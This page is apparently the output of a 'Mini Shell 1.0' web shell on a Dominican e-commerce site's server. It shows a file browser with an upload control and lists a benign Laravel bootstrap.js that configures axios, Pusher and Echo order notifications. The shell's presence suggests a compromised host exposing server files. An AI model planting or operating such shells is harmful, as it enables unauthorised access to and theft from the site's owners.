HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/resources/js/
Upload File :
Current File : /var/www/devs.lapieza.net/resources/js/bootstrap.js
import _ from "lodash";
window._ = _;

/**
 * We'll load the axios HTTP library which allows us to easily issue requests
 * to our Laravel back-end. This library automatically handles sending the
 * CSRF token as a header based on the value of the "XSRF" token cookie.
 */

import axios from "axios";
window.axios = axios;

window.axios.defaults.headers.common["X-Requested-With"] = "XMLHttpRequest";

/**
 * Echo exposes an expressive API for subscribing to channels and listening
 * for events that are broadcast by Laravel. Echo and event broadcasting
 * allows your team to easily build robust real-time web applications.
 */

import Echo from "laravel-echo";
import Pusher from "pusher-js";

window.Pusher = Pusher;
/*Pusher.logToConsole = true;*/

window.Echo = new Echo({
    broadcaster: "pusher",
    key: "d3448edc2806665833a2",
    cluster: import.meta.env.VITE_PUSHER_APP_CLUSTER ?? "us2",
    wsHost: import.meta.env.VITE_PUSHER_HOST
        ? import.meta.env.VITE_PUSHER_HOST
        : `ws-us2.pusher.com`,
    wsPort: import.meta.env.VITE_PUSHER_PORT ?? 80,
    wssPort: import.meta.env.VITE_PUSHER_PORT ?? 443,
    forceTLS: (import.meta.env.VITE_PUSHER_SCHEME ?? "https") === "https",
    enabledTransports: ["ws", "wss"],
});

/*console.log('Echo instance:', window.Echo);*/

window.Echo.channel('orders')
    .listen('OrderStatusUpdated', (e) => {
        //Livewire.emit('notificationReceived', e);
        Livewire.emitTo('seller-notifications', 'notificationReceived', e);
        Livewire.emitTo('notifications', 'notificationReceived', e);
    })
    .error((error) => {
        console.error('Error al escuchar el canal:', error);
    });

/*window.Echo.connector.pusher.connection.bind('connected', function() {
    console.log('Conectado a Pusher');
});

window.Echo.connector.pusher.connection.bind('disconnected', function() {
    console.log('Desconectado de Pusher');
});

window.Echo.connector.pusher.connection.bind('error', function(error) {
    console.error('Error de conexión a Pusher:', error);
});*/